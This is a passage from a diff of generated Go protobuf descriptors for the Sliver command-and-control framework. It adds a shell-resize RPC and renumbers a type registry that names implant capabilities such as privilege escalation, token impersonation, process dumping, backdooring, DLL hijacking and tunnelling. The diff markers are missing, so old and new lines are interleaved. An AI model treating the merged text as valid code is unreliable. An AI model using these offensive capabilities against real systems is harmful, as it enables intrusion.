0x74, 0x6f, 0x32, 0xff, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -697,36 +697,40 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65,
0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68,
0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66,
0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f,
0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a,
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a,
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b,
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e,
0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c,
0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73,
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x38, 0x0a, 0x0b, 0x53, 0x68, 0x65, 0x6c, 0x6c,
0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x73, 0x69, 0x7a, 0x65, 0x52, 0x65, 0x71,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52,
0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f,
0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50,
0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01,
0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61,
0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06,
0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73,
0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65,
0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63,
0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63,
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -856,113 +860,114 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.WGTCPForwardersReq)(nil), // 123: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 124: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 125: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 126: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 127: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 128: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 129: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 130: sliverpb.TunnelData
(*clientpb.Version)(nil), // 131: clientpb.Version
(*clientpb.Operators)(nil), // 132: clientpb.Operators
(*sliverpb.Reconfigure)(nil), // 133: sliverpb.Reconfigure
(*clientpb.Sessions)(nil), // 134: clientpb.Sessions
(*commonpb.Response)(nil), // 135: commonpb.Response
(*clientpb.MonitoringProviders)(nil), // 136: clientpb.MonitoringProviders
(*clientpb.ListenerJob)(nil), // 137: clientpb.ListenerJob
(*clientpb.Beacons)(nil), // 138: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 139: clientpb.BeaconTasks
(*clientpb.Jobs)(nil), // 140: clientpb.Jobs
(*clientpb.KillJob)(nil), // 141: clientpb.KillJob
(*clientpb.StagerListener)(nil), // 142: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 143: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 144: clientpb.AllHosts
(*clientpb.Generate)(nil), // 145: clientpb.Generate
(*clientpb.ExternalImplantConfig)(nil), // 146: clientpb.ExternalImplantConfig
(*clientpb.HTTPC2Configs)(nil), // 147: clientpb.HTTPC2Configs
(*clientpb.HTTPC2Config)(nil), // 148: clientpb.HTTPC2Config
(*clientpb.Builders)(nil), // 149: clientpb.Builders
(*clientpb.CertificateInfo)(nil), // 150: clientpb.CertificateInfo
(*clientpb.CertificateAuthorityInfo)(nil), // 151: clientpb.CertificateAuthorityInfo
(*clientpb.Crackstations)(nil), // 152: clientpb.Crackstations
(*clientpb.CrackFiles)(nil), // 153: clientpb.CrackFiles
(*clientpb.ImplantBuilds)(nil), // 154: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 155: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 156: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 157: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 158: clientpb.ImplantProfiles
(*clientpb.ShellcodeRDI)(nil), // 159: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 160: clientpb.Compiler
(*clientpb.ShellcodeEncode)(nil), // 161: clientpb.ShellcodeEncode
(*clientpb.ShellcodeEncoderMap)(nil), // 162: clientpb.ShellcodeEncoderMap
(*clientpb.TrafficEncoderMap)(nil), // 163: clientpb.TrafficEncoderMap
(*clientpb.TrafficEncoderTests)(nil), // 164: clientpb.TrafficEncoderTests
(*clientpb.Websites)(nil), // 165: clientpb.Websites
(*sliverpb.Ps)(nil), // 166: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 167: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 168: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 169: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 170: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 171: sliverpb.Pwd
(*sliverpb.Mv)(nil), // 172: sliverpb.Mv
(*sliverpb.Cp)(nil), // 173: sliverpb.Cp
(*sliverpb.Rm)(nil), // 174: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 175: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 176: sliverpb.Download
(*sliverpb.Upload)(nil), // 177: sliverpb.Upload
(*sliverpb.Grep)(nil), // 178: sliverpb.Grep
(*sliverpb.Chmod)(nil), // 179: sliverpb.Chmod
(*sliverpb.Chown)(nil), // 180: sliverpb.Chown
(*sliverpb.Chtimes)(nil), // 181: sliverpb.Chtimes
(*sliverpb.MemfilesAdd)(nil), // 182: sliverpb.MemfilesAdd
(*sliverpb.MemfilesRm)(nil), // 183: sliverpb.MemfilesRm
(*sliverpb.Mount)(nil), // 184: sliverpb.Mount
(*sliverpb.ProcessDump)(nil), // 185: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 186: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 187: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 188: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 189: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 190: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 191: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 192: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 193: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 194: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 195: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 196: sliverpb.Screenshot
(*sliverpb.CurrentTokenOwner)(nil), // 197: sliverpb.CurrentTokenOwner
(*sliverpb.Services)(nil), // 198: sliverpb.Services
(*sliverpb.ServiceDetail)(nil), // 199: sliverpb.ServiceDetail
(*sliverpb.ServiceInfo)(nil), // 200: sliverpb.ServiceInfo
(*sliverpb.PivotListener)(nil), // 201: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 202: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 203: clientpb.PivotGraph
(*sliverpb.MakeToken)(nil), // 204: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 205: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 206: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 207: sliverpb.UnsetEnv
(*clientpb.Backdoor)(nil), // 208: clientpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 209: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 210: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 211: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 212: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 213: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 214: sliverpb.RegistryValuesList
(*sliverpb.RegistryReadHive)(nil), // 215: sliverpb.RegistryReadHive
(*sliverpb.SSHCommand)(nil), // 216: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 217: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 218: sliverpb.GetPrivs
(*sliverpb.RportFwdListener)(nil), // 219: sliverpb.RportFwdListener
(*sliverpb.RportFwdListeners)(nil), // 220: sliverpb.RportFwdListeners
(*sliverpb.RegisterExtension)(nil), // 221: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 222: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 223: sliverpb.ListExtensions
(*sliverpb.RegisterWasmExtension)(nil), // 224: sliverpb.RegisterWasmExtension
(*sliverpb.ListWasmExtensions)(nil), // 225: sliverpb.ListWasmExtensions
(*sliverpb.ExecWasmExtension)(nil), // 226: sliverpb.ExecWasmExtension
(*sliverpb.WGPortForward)(nil), // 227: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 228: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 229: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 230: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 231: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 232: sliverpb.Portfwd
(*sliverpb.ShellResizeReq)(nil), // 126: sliverpb.ShellResizeReq
(*sliverpb.PortfwdReq)(nil), // 127: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 128: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 129: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 130: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 131: sliverpb.TunnelData
(*clientpb.Version)(nil), // 132: clientpb.Version
(*clientpb.Operators)(nil), // 133: clientpb.Operators
(*sliverpb.Reconfigure)(nil), // 134: sliverpb.Reconfigure
(*clientpb.Sessions)(nil), // 135: clientpb.Sessions
(*commonpb.Response)(nil), // 136: commonpb.Response
(*clientpb.MonitoringProviders)(nil), // 137: clientpb.MonitoringProviders
(*clientpb.ListenerJob)(nil), // 138: clientpb.ListenerJob
(*clientpb.Beacons)(nil), // 139: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 140: clientpb.BeaconTasks
(*clientpb.Jobs)(nil), // 141: clientpb.Jobs
(*clientpb.KillJob)(nil), // 142: clientpb.KillJob
(*clientpb.StagerListener)(nil), // 143: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 144: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 145: clientpb.AllHosts
(*clientpb.Generate)(nil), // 146: clientpb.Generate
(*clientpb.ExternalImplantConfig)(nil), // 147: clientpb.ExternalImplantConfig
(*clientpb.HTTPC2Configs)(nil), // 148: clientpb.HTTPC2Configs
(*clientpb.HTTPC2Config)(nil), // 149: clientpb.HTTPC2Config
(*clientpb.Builders)(nil), // 150: clientpb.Builders
(*clientpb.CertificateInfo)(nil), // 151: clientpb.CertificateInfo
(*clientpb.CertificateAuthorityInfo)(nil), // 152: clientpb.CertificateAuthorityInfo
(*clientpb.Crackstations)(nil), // 153: clientpb.Crackstations
(*clientpb.CrackFiles)(nil), // 154: clientpb.CrackFiles
(*clientpb.ImplantBuilds)(nil), // 155: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 156: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 157: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 158: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 159: clientpb.ImplantProfiles
(*clientpb.ShellcodeRDI)(nil), // 160: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 161: clientpb.Compiler
(*clientpb.ShellcodeEncode)(nil), // 162: clientpb.ShellcodeEncode
(*clientpb.ShellcodeEncoderMap)(nil), // 163: clientpb.ShellcodeEncoderMap
(*clientpb.TrafficEncoderMap)(nil), // 164: clientpb.TrafficEncoderMap
(*clientpb.TrafficEncoderTests)(nil), // 165: clientpb.TrafficEncoderTests
(*clientpb.Websites)(nil), // 166: clientpb.Websites
(*sliverpb.Ps)(nil), // 167: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 168: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 169: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 170: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 171: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 172: sliverpb.Pwd
(*sliverpb.Mv)(nil), // 173: sliverpb.Mv
(*sliverpb.Cp)(nil), // 174: sliverpb.Cp
(*sliverpb.Rm)(nil), // 175: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 176: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 177: sliverpb.Download
(*sliverpb.Upload)(nil), // 178: sliverpb.Upload
(*sliverpb.Grep)(nil), // 179: sliverpb.Grep
(*sliverpb.Chmod)(nil), // 180: sliverpb.Chmod
(*sliverpb.Chown)(nil), // 181: sliverpb.Chown
(*sliverpb.Chtimes)(nil), // 182: sliverpb.Chtimes
(*sliverpb.MemfilesAdd)(nil), // 183: sliverpb.MemfilesAdd
(*sliverpb.MemfilesRm)(nil), // 184: sliverpb.MemfilesRm
(*sliverpb.Mount)(nil), // 185: sliverpb.Mount
(*sliverpb.ProcessDump)(nil), // 186: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 187: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 188: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 189: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 190: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 191: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 192: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 193: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 194: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 195: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 196: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 197: sliverpb.Screenshot
(*sliverpb.CurrentTokenOwner)(nil), // 198: sliverpb.CurrentTokenOwner
(*sliverpb.Services)(nil), // 199: sliverpb.Services
(*sliverpb.ServiceDetail)(nil), // 200: sliverpb.ServiceDetail
(*sliverpb.ServiceInfo)(nil), // 201: sliverpb.ServiceInfo
(*sliverpb.PivotListener)(nil), // 202: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 203: sliverpb.PivotListeners
(*clientpb.PivotGraph)(nil), // 204: clientpb.PivotGraph
(*sliverpb.MakeToken)(nil), // 205: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 206: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 207: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 208: sliverpb.UnsetEnv
(*clientpb.Backdoor)(nil), // 209: clientpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 210: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 211: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 212: sliverpb.RegistryCreateKey
(*sliverpb.RegistryDeleteKey)(nil), // 213: sliverpb.RegistryDeleteKey
(*sliverpb.RegistrySubKeyList)(nil), // 214: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 215: sliverpb.RegistryValuesList
(*sliverpb.RegistryReadHive)(nil), // 216: sliverpb.RegistryReadHive
(*sliverpb.SSHCommand)(nil), // 217: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 218: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 219: sliverpb.GetPrivs
(*sliverpb.RportFwdListener)(nil), // 220: sliverpb.RportFwdListener
(*sliverpb.RportFwdListeners)(nil), // 221: sliverpb.RportFwdListeners
(*sliverpb.RegisterExtension)(nil), // 222: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 223: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 224: sliverpb.ListExtensions
(*sliverpb.RegisterWasmExtension)(nil), // 225: sliverpb.RegisterWasmExtension
(*sliverpb.ListWasmExtensions)(nil), // 226: sliverpb.ListWasmExtensions
(*sliverpb.ExecWasmExtension)(nil), // 227: sliverpb.ExecWasmExtension
(*sliverpb.WGPortForward)(nil), // 228: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 229: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 230: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 231: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 232: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 233: sliverpb.Portfwd
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -1139,198 +1144,200 @@ var file_rpcpb_services_proto_depIdxs = []int32{
123, // 171: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
124, // 172: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
125, // 173: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
126, // 174: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
127, // 175: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
127, // 176: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
128, // 177: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
129, // 178: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
129, // 179: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
130, // 180: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 181: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
131, // 182: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
0, // 183: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
132, // 184: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 185: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
133, // 186: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 187: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
134, // 188: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
135, // 189: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 190: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
136, // 191: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
135, // 192: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
135, // 193: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
137, // 194: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
137, // 195: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
137, // 196: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
137, // 197: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
137, // 198: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
